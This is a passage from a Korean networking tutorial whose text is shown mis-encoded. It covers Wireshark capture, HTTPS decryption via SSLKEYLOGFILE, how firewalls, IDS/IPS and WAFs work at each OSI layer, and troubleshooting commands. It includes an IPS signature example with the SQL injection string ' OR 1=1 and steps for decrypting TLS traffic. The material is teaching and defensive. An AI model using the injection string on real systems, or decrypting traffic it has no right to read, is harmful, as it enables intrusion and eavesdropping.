  1. Wireshark ์บก์ฒ˜ ์‹œ์ž‘
  2. curl http://example.com ์‹คํ–‰
  3. ํ•„ํ„ฐ: tcp && ip.addr == 93.184.216.34 (example.com IP)
  4. SYN โ†’ SYN-ACK โ†’ ACK ์ˆœ์„œ๋กœ ํŒจํ‚ท 3๊ฐœ๊ฐ€ ๋ณด์ž„

๊ฐ ํŒจํ‚ท์„ ํด๋ฆญํ•ด์„œ TCP ํ—ค๋”๋ฅผ ํŽผ์น˜๋ฉด Sequence number, Acknowledgment number, Flags ํ•„๋“œ๋ฅผ ์ง์ ‘ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

HTTPS ํŠธ๋ž˜ํ”ฝ ๋ณตํ˜ธํ™”

HTTPS๋Š” ์•”ํ˜ธํ™”๋ผ ์žˆ์–ด์„œ ๊ธฐ๋ณธ์ ์œผ๋กœ Wireshark์—์„œ ๋‚ด์šฉ์ด ์•ˆ ๋ณด์ธ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํด๋ผ์ด์–ธํŠธ์˜ SSLKEYLOGFILE ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์„ธ์…˜ ํ‚ค๋ฅผ ํŒŒ์ผ์— ๊ธฐ๋กํ•˜๊ณ , Wireshark๊ฐ€ ์ด๋ฅผ ์ฝ์–ด ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ๋‹ค.

# Linux/Mac
export SSLKEYLOGFILE=~/ssl-keys.log
google-chrome &  # ๋˜๋Š” firefox

# Wireshark โ†’ Edit โ†’ Preferences โ†’ Protocols โ†’ TLS
# (Pre)-Master-Secret log filename์— ~/ssl-keys.log ์ž…๋ ฅ

์ดํ›„ HTTPS ํŠธ๋ž˜ํ”ฝ๋„ HTTP์ฒ˜๋Ÿผ ํ‰๋ฌธ์œผ๋กœ ๋ณด์ธ๋‹ค. ๊ฐœ๋ฐœ/๋””๋ฒ„๊น… ์šฉ๋„๋กœ๋งŒ ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค.

์บก์ฒ˜ ํ•„ํ„ฐ vs ๋””์Šคํ”Œ๋ ˆ์ด ํ•„ํ„ฐ

  • ์บก์ฒ˜ ํ•„ํ„ฐ (์บก์ฒ˜ ์‹œ์ž‘ ์ „ ์„ค์ •): ์ €์žฅ ์ž์ฒด๋ฅผ ํ•„ํ„ฐ๋ง. ๋””์Šคํฌ ์ ˆ์•ฝ์— ์œ ๋ฆฌ. BPF(Berkeley Packet Filter) ๋ฌธ๋ฒ• ์‚ฌ์šฉ.
    port 80 or port 443
    host 192.168.1.1
  • ๋””์Šคํ”Œ๋ ˆ์ด ํ•„ํ„ฐ (์บก์ฒ˜ ํ›„ ๋ณด๊ธฐ ํ•„ํ„ฐ): ์ด๋ฏธ ์ €์žฅ๋œ ๋ฐ์ดํ„ฐ์—์„œ ํ•„ํ„ฐ๋ง. Wireshark ์ „์šฉ ๋ฌธ๋ฒ• ์‚ฌ์šฉ.

์‹ค๋ฌด์—์„œ๋Š” "์ผ๋‹จ ๋‹ค ์บก์ฒ˜ํ•œ ๋’ค ํ•„ํ„ฐ"ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์ง€๋งŒ, ํŠธ๋ž˜ํ”ฝ์ด ๋งŽ์€ ํ™˜๊ฒฝ์—์„œ๋Š” ์บก์ฒ˜ ํ•„ํ„ฐ๋กœ ๋Œ€์ƒ์„ ์ขํ˜€๋‘๋Š” ๊ฒŒ ์ข‹๋‹ค.


๋ฐฉํ™”๋ฒฝ, IPS/IDS์˜ OSI ๊ณ„์ธต๋ณ„ ๋™์ž‘ ๋ฐฉ์‹

๋ณด์•ˆ ์žฅ๋น„๊ฐ€ ์–ด๋А ๊ณ„์ธต์—์„œ ๋™์ž‘ํ•˜๋Š”์ง€ ์ดํ•ดํ•˜๋ฉด, ์žฅ๋น„์˜ ํ•œ๊ณ„์™€ ์ ์šฉ ๋ฒ”์œ„๋ฅผ ํŒŒ์•…ํ•˜๊ธฐ ์‰ฌ์›Œ์ง„๋‹ค.

๊ณ„์ธต๋ณ„ ๋ณด์•ˆ ์žฅ๋น„ ์œ„์น˜

์žฅ๋น„ ์ฃผ์š” ๋™์ž‘ ๊ณ„์ธต ๊ฒ€์‚ฌ ๋‚ด์šฉ
ํ—ˆ๋ธŒ 1๊ณ„์ธต ์‹ ํ˜ธ ์ฆํญ๋งŒ, ๋ณด์•ˆ ๊ธฐ๋Šฅ ์—†์Œ
์Šค์œ„์น˜(Port Security, DAI) 2๊ณ„์ธต MAC ์ฃผ์†Œ, ARP ๊ฒ€์ฆ
ํŒจํ‚ท ํ•„ํ„ฐ๋ง ๋ฐฉํ™”๋ฒฝ 3~4๊ณ„์ธต IP ์ฃผ์†Œ, ํฌํŠธ ๋ฒˆํ˜ธ, ํ”„๋กœํ† ์ฝœ
Stateful ๋ฐฉํ™”๋ฒฝ 3~4๊ณ„์ธต ์—ฐ๊ฒฐ ์ƒํƒœ ์ถ”์  (์„ธ์…˜ ํ…Œ์ด๋ธ”)
IDS/IPS 3~7๊ณ„์ธต ํŒจํ‚ท ๋‚ด์šฉ, ์‹œ๊ทธ๋‹ˆ์ฒ˜/์ด์ƒ ํƒ์ง€
์ฐจ์„ธ๋Œ€ ๋ฐฉํ™”๋ฒฝ (NGFW) 3~7๊ณ„์ธต ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‹๋ณ„, DPI
WAF (Web Application Firewall) 7๊ณ„์ธต HTTP ์š”์ฒญ/์‘๋‹ต, XSS, SQLi

ํŒจํ‚ท ํ•„ํ„ฐ๋ง ๋ฐฉํ™”๋ฒฝ (3~4๊ณ„์ธต)

๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์ธ ๋ฐฉํ™”๋ฒฝ์ด๋‹ค. IP ์ฃผ์†Œ(3๊ณ„์ธต)์™€ ํฌํŠธ ๋ฒˆํ˜ธ(4๊ณ„์ธต)๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ—ˆ์šฉ/์ฐจ๋‹จ์„ ๊ฒฐ์ •ํ•œ๋‹ค. ํŒจํ‚ท ๋‚ด๋ถ€ ๋‚ด์šฉ์€ ๋ณด์ง€ ์•Š๋Š”๋‹ค.

๊ทœ์น™ ์˜ˆ์‹œ:
ALLOW TCP 10.0.0.0/24 โ†’ 192.168.1.10:443
DENY  TCP ANY         โ†’ 192.168.1.10:22

ํ•œ๊ณ„: ํ—ˆ์šฉ๋œ ํฌํŠธ๋กœ ์•…์„ฑ ํŠธ๋ž˜ํ”ฝ์ด ๋“ค์–ด์™€๋„ ๋ง‰์„ ์ˆ˜ ์—†๋‹ค. TCP 80์„ ์—ด์–ด๋†“์œผ๋ฉด HTTP๋ฅผ ๊ฐ€์žฅํ•œ C2 ํŠธ๋ž˜ํ”ฝ๋„ ํ†ต๊ณผํ•œ๋‹ค.

Stateful ๋ฐฉํ™”๋ฒฝ (3~4๊ณ„์ธต + ์„ธ์…˜ ์ถ”์ )

์—ฐ๊ฒฐ ์ƒํƒœ๋ฅผ ์ถ”์ ํ•ด "์ด ํŒจํ‚ท์ด ์ •์ƒ์ ์ธ TCP ์„ธ์…˜์˜ ์ผ๋ถ€์ธ๊ฐ€"๋ฅผ ํ™•์ธํ•œ๋‹ค. ์™ธ๋ถ€์—์„œ ๋“ค์–ด์˜ค๋Š” ํŒจํ‚ท์ด ๋‚ด๋ถ€์—์„œ ์‹œ์ž‘๋œ ์—ฐ๊ฒฐ์˜ ์‘๋‹ต์ธ์ง€ ํ™•์ธํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ํŒจํ‚ท ํ•„ํ„ฐ๋ง๋ณด๋‹ค ํ›จ์”ฌ ์•ˆ์ „ํ•˜๋‹ค.

RST๋‚˜ FIN ์—†์ด ๊ฐ‘์ž๊ธฐ ์ค‘๊ฐ„์— ๋‚˜ํƒ€๋‚œ ํŒจํ‚ท, ์‹œํ€€์Šค ๋ฒˆํ˜ธ๊ฐ€ ์ด์ƒํ•œ ํŒจํ‚ท ๋“ฑ์„ ํƒ์ง€ํ•  ์ˆ˜ ์žˆ๋‹ค.

IDS/IPS (3~7๊ณ„์ธต)

  • IDS (Intrusion Detection System): ํƒ์ง€๋งŒ ํ•œ๋‹ค. ํŠธ๋ž˜ํ”ฝ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋‹ค๊ฐ€ ์ด์ƒ ํŒจํ„ด์„ ๋ฐœ๊ฒฌํ•˜๋ฉด ์•Œ๋ฆผ์„ ๋ณด๋‚ธ๋‹ค. ์ธ๋ผ์ธ์ด ์•„๋‹Œ ์ŠคํŒจ๋‹(๋ฏธ๋Ÿฌ) ํฌํŠธ๋กœ ์—ฐ๊ฒฐํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค.
  • IPS (Intrusion Prevention System): ํƒ์ง€ + ์ฐจ๋‹จ. ์ธ๋ผ์ธ์œผ๋กœ ์—ฐ๊ฒฐ๋ผ ์‹ค์‹œ๊ฐ„์œผ๋กœ ํŒจํ‚ท์„ ๋ง‰๋Š”๋‹ค.

๋‘ ์žฅ๋น„ ๋ชจ๋‘ **ํŒจํ‚ท ๋‚ด์šฉ(ํŽ˜์ด๋กœ๋“œ)**์„ ๋“ค์—ฌ๋‹ค๋ณด๋Š” **DPI(Deep Packet Inspection)**๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. 7๊ณ„์ธต๊นŒ์ง€ ๋ถ„์„ํ•ด์„œ ์•Œ๋ ค์ง„ ๊ณต๊ฒฉ ์‹œ๊ทธ๋‹ˆ์ฒ˜์™€ ๋น„๊ตํ•˜๊ฑฐ๋‚˜, ๋น„์ •์ƒ์ ์ธ ํ–‰๋™ ํŒจํ„ด์„ ํƒ์ง€ํ•œ๋‹ค.

์˜ˆ: IPS ์‹œ๊ทธ๋‹ˆ์ฒ˜
- HTTP ์š”์ฒญ์— "' OR 1=1" ํฌํ•จ โ†’ SQL Injection ์ฐจ๋‹จ
- User-Agent์— ์•Œ๋ ค์ง„ ์Šค์บ๋„ˆ ๋ฌธ์ž์—ด โ†’ ํฌํŠธ ์Šค์บ” ํƒ์ง€
- ๋‹จ์‹œ๊ฐ„ ๋‚ด ๋™์ผ IP์—์„œ SYN ์ˆ˜์ฒœ ๊ฐœ โ†’ SYN Flood ์ฐจ๋‹จ

NGFW (Next-Generation Firewall)

๊ธฐ์กด Stateful ๋ฐฉํ™”๋ฒฝ + IPS + ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ธ์‹ ๊ธฐ๋Šฅ์„ ํ•ฉ์นœ ์žฅ๋น„๋‹ค.

ํฌํŠธ ๋ฒˆํ˜ธ๊ฐ€ ์•„๋‹Œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹๋ณ„ํ•˜๋Š” ๊ฒƒ์ด ํ•ต์‹ฌ์ด๋‹ค. TCP 443์ด ์—ด๋ ค์žˆ์–ด๋„ ๊ทธ๊ฒŒ HTTPS์ธ์ง€, ์•”ํ˜ธํ™”๋œ C2 ํ†ต์‹ ์ธ์ง€, BitTorrent์ธ์ง€๋ฅผ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์žˆ๋‹ค. SSL/TLS ๋ณตํ˜ธํ™” ๊ธฐ๋Šฅ๋„ ํƒ‘์žฌ๋ผ ์•”ํ˜ธํ™”๋œ ํŠธ๋ž˜ํ”ฝ ๋‚ด๋ถ€๋„ ๊ฒ€์‚ฌํ•œ๋‹ค.

WAF (Web Application Firewall) โ€” 7๊ณ„์ธต ์ „๋ฌธ

HTTP/HTTPS ํŠธ๋ž˜ํ”ฝ์— ํŠนํ™”๋œ ๋ฐฉํ™”๋ฒฝ์ด๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ ˆ๋ฒจ์˜ ๊ณต๊ฒฉ์„ ๋ง‰๋Š”๋‹ค.

  • XSS, SQL Injection, CSRF, Path Traversal ๋“ฑ OWASP Top 10 ๊ณต๊ฒฉ ํŒจํ„ด ํƒ์ง€
  • HTTP ์š”์ฒญ/์‘๋‹ต ํ—ค๋”, ๋ฐ”๋”” ์ „์ฒด๋ฅผ ๋ถ„์„
  • ์–‘์„ฑ ๋ชจ๋ธ(ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ)๊ณผ ์Œ์„ฑ ๋ชจ๋ธ(๋ธ”๋ž™๋ฆฌ์ŠคํŠธ/์‹œ๊ทธ๋‹ˆ์ฒ˜) ๋ชจ๋‘ ์ง€์›
  • Cloudflare WAF, AWS WAF, ModSecurity ๋“ฑ์ด ๋Œ€ํ‘œ์ 

์‹ค๋ฌด ์‹œ๋‚˜๋ฆฌ์˜ค๋ณ„ ํŠธ๋Ÿฌ๋ธ”์ŠˆํŒ…

"๋ญ”๊ฐ€ ์•ˆ ๋œ๋‹ค"๋Š” ์‹ ๊ณ ๋ฅผ ๋ฐ›์•˜์„ ๋•Œ, OSI ๊ณ„์ธต์„ ๊ธฐ๋ฐ˜์œผ๋กœ ์›์ธ์„ ์ขํ˜€๊ฐ€๋Š” ๋ฐฉ๋ฒ•์„ ์‹œ๋‚˜๋ฆฌ์˜ค๋ณ„๋กœ ์ •๋ฆฌํ–ˆ๋‹ค.

์‹œ๋‚˜๋ฆฌ์˜ค 1: "ping์€ ๋˜๋Š”๋ฐ curl์ด ์•ˆ ๋œ๋‹ค"

ping 192.168.1.10  โ†’ ์„ฑ๊ณต
curl http://192.168.1.10  โ†’ ์‹คํŒจ (Connection refused ๋˜๋Š” Timeout)

๋ถ„์„: ping์€ ICMP(3๊ณ„์ธต)๋กœ ๋™์ž‘ํ•œ๋‹ค. ping์ด ๋œ๋‹ค๋Š” ๊ฑด 1~3๊ณ„์ธต์€ ์ •์ƒ์ด๋ผ๋Š” ์˜๋ฏธ๋‹ค.

curl์ด ์•ˆ ๋œ๋‹ค๋Š” ๊ฑด 4๊ณ„์ธต ์ด์ƒ์— ๋ฌธ์ œ๊ฐ€ ์žˆ๋‹ค๋Š” ๋œป์ด๋‹ค.

# 4๊ณ„์ธต ํ™•์ธ โ€” ํฌํŠธ๊ฐ€ ์—ด๋ ค ์žˆ๋Š”์ง€
nc -zv 192.168.1.10 80     # Connection refused ๋˜๋Š” Timeout?
telnet 192.168.1.10 80

# ์„œ๋ฒ„ ์ธก์—์„œ ์„œ๋น„์Šค ๊ตฌ๋™ ์—ฌ๋ถ€
ss -tulpn | grep :80
netstat -tulpn | grep :80

# ๋ฐฉํ™”๋ฒฝ ํ™•์ธ (์„œ๋ฒ„ ์ธก)
iptables -L -n | grep 80
firewall-cmd --list-all

๊ฐ€๋Šฅํ•œ ์›์ธ:

  • ์„œ๋ฒ„์—์„œ ์›น ์„œ๋น„์Šค(nginx, apache)๊ฐ€ ์•ˆ ๋–  ์žˆ์Œ โ†’ 7๊ณ„์ธต ๋ฌธ์ œ
  • 80 ํฌํŠธ๊ฐ€ ๋ฐฉํ™”๋ฒฝ์—์„œ ๋ง‰ํ˜€ ์žˆ์Œ โ†’ 4๊ณ„์ธต ๋ฌธ์ œ
  • ์„œ๋น„์Šค๊ฐ€ 80์ด ์•„๋‹Œ ๋‹ค๋ฅธ ํฌํŠธ์—์„œ ๋ฆฌ์Šค๋‹ ์ค‘ โ†’ ์„ค์ • ๋ฌธ์ œ

์‹œ๋‚˜๋ฆฌ์˜ค 2: "๊ฐ™์€ ๋ง์—์„œ๋งŒ ๋œ๋‹ค, ์™ธ๋ถ€์—์„œ ์•ˆ ๋œ๋‹ค"

๋‚ด๋ถ€(192.168.x.x): ์ ‘์† ์„ฑ๊ณต
์™ธ๋ถ€(์ธํ„ฐ๋„ท): ์ ‘์† ์‹คํŒจ

๋ถ„์„: ๋‚ด๋ถ€๋Š” 2~3๊ณ„์ธต์œผ๋กœ ํ†ต์‹  ๊ฐ€๋Šฅํ•˜๋‹ค. ์™ธ๋ถ€์—์„œ ์•ˆ ๋œ๋‹ค๋Š” ๊ฑด ๋ผ์šฐํŒ… ๋˜๋Š” ๋ฐฉํ™”๋ฒฝ ๋ฌธ์ œ๋‹ค.

# ์™ธ๋ถ€ โ†’ ๋‚ด๋ถ€ ๋ผ์šฐํŒ… ํ™•์ธ
traceroute [์™ธ๋ถ€์—์„œ ์„œ๋ฒ„ IP๋กœ]

# ์„œ๋ฒ„ ์ธก ๊ธฐ๋ณธ ๊ฒŒ์ดํŠธ์›จ์ด ์„ค์ • ํ™•์ธ
ip route show
route -n

# NAT ์„ค์ • ํ™•์ธ (๊ณต์œ ๊ธฐ ๋˜๋Š” ๋ฐฉํ™”๋ฒฝ)
# ์„œ๋ฒ„ ์‘๋‹ต์ด ๊ณต์ธ IP๋กœ ๋‚˜๊ฐ€๋Š”์ง€ ํ™•์ธ

# ๋ฐฉํ™”๋ฒฝ์—์„œ ์™ธ๋ถ€ ์ ‘๊ทผ ํ—ˆ์šฉ ์—ฌ๋ถ€
iptables -L FORWARD -n

๊ฐ€๋Šฅํ•œ ์›์ธ:

  • ํฌํŠธ ํฌ์›Œ๋”ฉ ๋ฏธ์„ค์ • โ†’ ๊ณต์œ ๊ธฐ/๋ฐฉํ™”๋ฒฝ์—์„œ ์™ธ๋ถ€ ํฌํŠธ๋ฅผ ๋‚ด๋ถ€ ์„œ๋ฒ„๋กœ ์ „๋‹ฌ ์•ˆ ๋จ
  • ์„œ๋ฒ„์˜ ๊ธฐ๋ณธ ๊ฒŒ์ดํŠธ์›จ์ด๊ฐ€ ์ž˜๋ชป๋จ โ†’ ์š”์ฒญ์€ ๋“ค์–ด์˜ค๋Š”๋ฐ ์‘๋‹ต์ด ๋‚˜๊ฐ€๋Š” ๊ฒฝ๋กœ๊ฐ€ ์—†์Œ (asymmetric routing)
  • ISP ๋ ˆ๋ฒจ์—์„œ ํ•ด๋‹น ํฌํŠธ ์ฐจ๋‹จ (25๋ฒˆ ํฌํŠธ ์ฐจ๋‹จ ๋“ฑ)
  • ๋ณด์•ˆ ๊ทธ๋ฃน / ํด๋ผ์šฐ๋“œ ACL ๋ฏธ์„ค์ •

์‹œ๋‚˜๋ฆฌ์˜ค 3: "SSL ์ธ์ฆ์„œ ์˜ค๋ฅ˜๊ฐ€ ๋‚œ๋‹ค"

๋ธŒ๋ผ์šฐ์ €: "์—ฐ๊ฒฐ์ด ๋น„๊ณต๊ฐœ๋กœ ์„ค์ •๋˜์–ด ์žˆ์ง€ ์•Š์Šต๋‹ˆ๋‹ค" / NET::ERR_CERT_AUTHORITY_INVALID
curl: SSL certificate problem: certificate has expired

๋ถ„์„: TLS๋Š” 6๊ณ„์ธต์—์„œ ๋™์ž‘ํ•˜์ง€๋งŒ, ์ธ์ฆ์„œ ์˜ค๋ฅ˜์˜ ์›์ธ์€ ๋‹ค์–‘ํ•˜๋‹ค.

# ์ธ์ฆ์„œ ์ƒ์„ธ ํ™•์ธ
openssl s_client -connect example.com:443 -servername example.com
# โ†’ ์ธ์ฆ์„œ ๋งŒ๋ฃŒ์ผ, ๋ฐœ๊ธ‰๊ธฐ๊ด€, SAN(Subject Alternative Name) ํ™•์ธ

# ์ธ์ฆ์„œ ๋งŒ๋ฃŒ์ผ ๋น ๋ฅด๊ฒŒ ํ™•์ธ
echo | openssl s_client -connect example.com:443 2>/dev/null | \
  openssl x509 -noout -dates

# ์ธ์ฆ์„œ ์ฒด์ธ ํ™•์ธ
openssl s_client -connect example.com:443 -showcerts

๊ฐ€๋Šฅํ•œ ์›์ธ๊ณผ ๊ณ„์ธต:

์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€ ์›์ธ ๊ณ„์ธต
Certificate expired ์ธ์ฆ์„œ ๋งŒ๋ฃŒ 6๊ณ„์ธต
Certificate not trusted ์ž์ฒด ์„œ๋ช… ๋˜๋Š” ์ค‘๊ฐ„ CA ์ฒด์ธ ๋ˆ„๋ฝ 6๊ณ„์ธต
Certificate hostname mismatch SAN์— ๋„๋ฉ”์ธ์ด ์—†์Œ 6๊ณ„์ธต/7๊ณ„์ธต
Connection timeout 443 ํฌํŠธ ์ฐจ๋‹จ 4๊ณ„์ธต
Certificate valid but page errors ํ˜ผํ•ฉ ์ปจํ…์ธ (HTTP+HTTPS) 7๊ณ„์ธต

์‹œ๋‚˜๋ฆฌ์˜ค 4: "๊ฐ„ํ—์ ์œผ๋กœ ๋Š๊ธด๋‹ค"

๋Œ€๋ถ€๋ถ„ ์ •์ƒ, ๊ฐ€๋” ์‘๋‹ต ์—†์Œ, ์žฌ์ ‘์†ํ•˜๋ฉด ๋จ

๋ถ„์„: ๊ฐ„ํ—์  ๋ฌธ์ œ๋Š” ๊ฐ€์žฅ ์ฐพ๊ธฐ ์–ด๋ ต๋‹ค. ๊ณ„์ธต๋ณ„๋กœ ๋‹จ์„œ๋ฅผ ๋ชจ์•„์•ผ ํ•œ๋‹ค.

# ํŒจํ‚ท ์†์‹ค๋ฅ  ํ™•์ธ (1~3๊ณ„์ธต)
ping -c 100 [๊ฒŒ์ดํŠธ์›จ์ด]  # ํŒจํ‚ท ๋กœ์Šค % ํ™•์ธ
mtr [๋ชฉ์ ์ง€]              # ๊ฒฝ๋กœ๋ณ„ ์†์‹ค๋ฅ  ์‹ค์‹œ๊ฐ„ ํ™•์ธ

# TCP ์žฌ์ „์†ก ํ†ต๊ณ„ (4๊ณ„์ธต)
netstat -s | grep retransmit
ss -ti  # TCP ์†Œ์ผ“๋ณ„ ์žฌ์ „์†ก ์นด์šดํŠธ

# ์ธํ„ฐํŽ˜์ด์Šค ์˜ค๋ฅ˜ (1~2๊ณ„์ธต)
ip -s link show eth0  # RX/TX errors, drops ํ™•์ธ
ethtool eth0          # ๋“€ํ”Œ๋ ‰์Šค, ์†๋„ ํ˜‘์ƒ ์ƒํƒœ

# ๋กœ๊ทธ์—์„œ ํƒ€์ž„์•„์›ƒ/RST ๊ธฐ๋ก
dmesg | grep -i "eth\|link\|timeout"
journalctl -u NetworkManager --since "1 hour ago"

๊ฐ€๋Šฅํ•œ ์›์ธ:

  • ์ผ€์ด๋ธ” ๋ถˆ๋Ÿ‰ โ†’ 1๊ณ„์ธต (ํŒจํ‚ท ์†์‹ค, CRC ์˜ค๋ฅ˜)
  • ํฌํŠธ ์†๋„/๋“€ํ”Œ๋ ‰์Šค ํ˜‘์ƒ ๋ถˆ์ผ์น˜ โ†’ 2๊ณ„์ธต
  • ๋ผ์šฐํŒ… ๊ฒฝ๋กœ ๋ณ€๊ฒฝ (BGP flapping) โ†’ 3๊ณ„์ธต
  • TCP ํƒ€์ž„์•„์›ƒ ์„ค์ •์ด ๋„ˆ๋ฌด ์งง์Œ โ†’ 4๊ณ„์ธต
  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฉ”๋ชจ๋ฆฌ ๋ถ€์กฑ, ํ”„๋กœ์„ธ์Šค ํฌ๋ž˜์‹œ โ†’ 7๊ณ„์ธต

์‹ค๋ฌด์—์„œ OSI ๊ณ„์ธต ์‚ฌ์šฉํ•˜๋Š” ๋ฒ•

๋„คํŠธ์›Œํฌ ๋ฌธ์ œ๊ฐ€ ์ƒ๊ฒผ์„ ๋•Œ ์•„๋ž˜์—์„œ๋ถ€ํ„ฐ ์˜ฌ๋ผ๊ฐ€๋Š” ๊ฒƒ์ด ๊ธฐ๋ณธ์ด๋‹ค.

1๊ณ„์ธต: ์ผ€์ด๋ธ” ์—ฐ๊ฒฐ๋๋‚˜? ๋งํฌ ๋ถˆ๋น› ๋“ค์–ด์˜ค๋‚˜?
    โ†“
2๊ณ„์ธต: ARP ํ…Œ์ด๋ธ”์— ์žˆ๋‚˜? MAC ์ฃผ์†Œ ์ถฉ๋Œ ์—†๋‚˜?
    โ†“
3๊ณ„์ธต: IP ์ฃผ์†Œ ๋งž๋‚˜? ๋ผ์šฐํŒ… ํ…Œ์ด๋ธ” ํ™•์ธ. ping ๋˜๋‚˜?
    โ†“
4๊ณ„์ธต: ํฌํŠธ ์—ด๋ ค์žˆ๋‚˜? ๋ฐฉํ™”๋ฒฝ ๋ง‰ํ˜€์žˆ๋‚˜? telnet/nc๋กœ ํ™•์ธ
    โ†“
7๊ณ„์ธต: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„ค์ • ๋งž๋‚˜? ์ธ์ฆ์„œ ์œ ํšจํ•œ๊ฐ€?

๊ฐ ๊ณ„์ธต๋ณ„ ๋Œ€ํ‘œ ๋ช…๋ น์–ด ์ •๋ฆฌ

๊ณ„์ธต ์ง„๋‹จ ๋ช…๋ น์–ด ํ™•์ธ ๋‚ด์šฉ
1๊ณ„์ธต ethtool eth0, ip link ๋งํฌ ์ƒํƒœ, ์†๋„
2๊ณ„์ธต arp -a, ip neigh ARP ํ…Œ์ด๋ธ”
3๊ณ„์ธต ping, traceroute, ip route ๊ฒฝ๋กœ, ์—ฐ๊ฒฐ์„ฑ
4๊ณ„์ธต netstat -tulpn, ss -tulpn, nc -zv host port ํฌํŠธ ์ƒํƒœ
7๊ณ„์ธต curl -v, wget, nslookup HTTP ์‘๋‹ต, DNS

์ถ”๊ฐ€๋กœ ์ž์ฃผ ์“ฐ๋Š” ์กฐํ•ฉ:

๋ชฉ์  ๋ช…๋ น์–ด
SSL ์ธ์ฆ์„œ ํ™•์ธ openssl s_client -connect host:443
TCP ์—ฐ๊ฒฐ ์ƒํƒœ ์ „์ฒด ๋ณด๊ธฐ ss -tan
TIME_WAIT ์†Œ์ผ“ ์ˆ˜ ss -tan | grep TIME_WAIT | wc -l
ํŒจํ‚ท ์†์‹ค๋ฅ  ์ธก์ • mtr --report --report-cycles 100 [๋Œ€์ƒ]
HTTP ์š”์ฒญ ์ƒ์„ธ ๋กœ๊ทธ curl -v --trace-ascii /dev/stdout [URL]
DNS ์ฟผ๋ฆฌ ์ถ”์  dig +trace google.com

๋งˆ์น˜๋ฉฐ

OSI 7๊ณ„์ธต์„ ์™ธ์šธ ํ•„์š”๋Š” ์—†๋‹ค. ํ•˜์ง€๋งŒ "์ด ๋ฌธ์ œ๋Š” ๋ช‡ ๊ณ„์ธต์—์„œ ์ƒ๊ธด ๊ฑด๊ฐ€?"๋ผ๊ณ  ์ƒ๊ฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋ฉด, ๋ฌธ์ œ๋ฅผ ํ›จ์”ฌ ๋น ๋ฅด๊ฒŒ ํ’€ ์ˆ˜ ์žˆ๋‹ค.

์ด ๊ธ€์—์„œ ๋‹ค๋ฃฌ ํ๋ฆ„์„ ์ •๋ฆฌํ•˜๋ฉด:

  • ๊ณ„์ธต ๊ตฌ์กฐ์˜ ์กด์žฌ ์ด์œ : ์—ญํ• ์„ ๋ถ„๋ฆฌํ•ด์„œ ๋ณ€๊ฒฝ๊ณผ ์ง„๋‹จ์„ ์‰ฝ๊ฒŒ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด
  • ์บก์Аํ™”/์—ญ์บก์Аํ™”: ๊ฐ ๊ณ„์ธต์ด ํ—ค๋”๋ฅผ ๋ถ™์ด๊ณ  ๋ฒ—๊ธฐ๋ฉฐ ๋ฐ์ดํ„ฐ๋ฅผ ์ „๋‹ฌํ•˜๋Š” ๋ฐฉ์‹
  • TCP ํ•ธ๋“œ์…ฐ์ดํฌ: ์—ฐ๊ฒฐ์˜ ์‹ ๋ขฐ์„ฑ์ด ์–ด๋–ป๊ฒŒ ๋ณด์žฅ๋˜๋Š”์ง€, TIME_WAIT๊ฐ€ ์™œ ํ•„์š”ํ•œ์ง€
  • ๋ณด์•ˆ ์œ„ํ˜‘: ๊ณ„์ธต๋งˆ๋‹ค ๋‹ค๋ฅธ ๊ณต๊ฒฉ์ด ์žˆ๊ณ , ๋Œ€์‘ ๋ฐฉ๋ฒ•๋„ ๋‹ฌ๋ผ์ง„๋‹ค
  • Wireshark: ์ด๋ก ์„ ๋ˆˆ์œผ๋กœ ํ™•์ธํ•˜๋Š” ๊ฐ€์žฅ ์ง์ ‘์ ์ธ ๋ฐฉ๋ฒ•
  • ํŠธ๋Ÿฌ๋ธ”์ŠˆํŒ…: ๊ณ„์ธต ์ˆœ์„œ๋Œ€๋กœ ์˜ฌ๋ผ๊ฐ€๋ฉฐ ์›์ธ์„ ์ขํžˆ๋Š” ์‚ฌ๊ณ ๋ฐฉ์‹

๋‹ค์Œ ๊ธ€์—์„œ๋Š” 3๊ณ„์ธต๊ณผ 4๊ณ„์ธต์„ ๋„˜๋‚˜๋“œ๋Š” **NAT(Network Address Translation)**๊ฐ€ ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ์ •๋ฆฌํ•  ์˜ˆ์ •์ด๋‹ค. ๊ณต์œ ๊ธฐ ์•ˆ์—์„œ ๋ฌด์Šจ ์ผ์ด ์ผ์–ด๋‚˜๋Š”์ง€, ํฌํŠธ ํฌ์›Œ๋”ฉ์€ ์™œ ํ•„์š”ํ•œ์ง€, ๊ฐ€์ƒ ํ™˜๊ฒฝ์—์„œ NAT์ด ์ค‘์ฒฉ๋˜๋ฉด ์–ด๋–ค ๋ฌธ์ œ๊ฐ€ ์ƒ๊ธฐ๋Š”์ง€๊นŒ์ง€ ๋‹ค๋ค„๋ณผ ๊ฑฐ๋‹ค.


์ฐธ๊ณ ๋ฌธํ—Œ


๊ด€๋ จ ๊ธ€


  1. ISO/IEC 7498-1. "Information technology โ€” Open Systems Interconnection โ€” Basic Reference Model." ISO, 1994. https://www.iso.org/standard/20269.htmlโ†ฉ

@leekh8
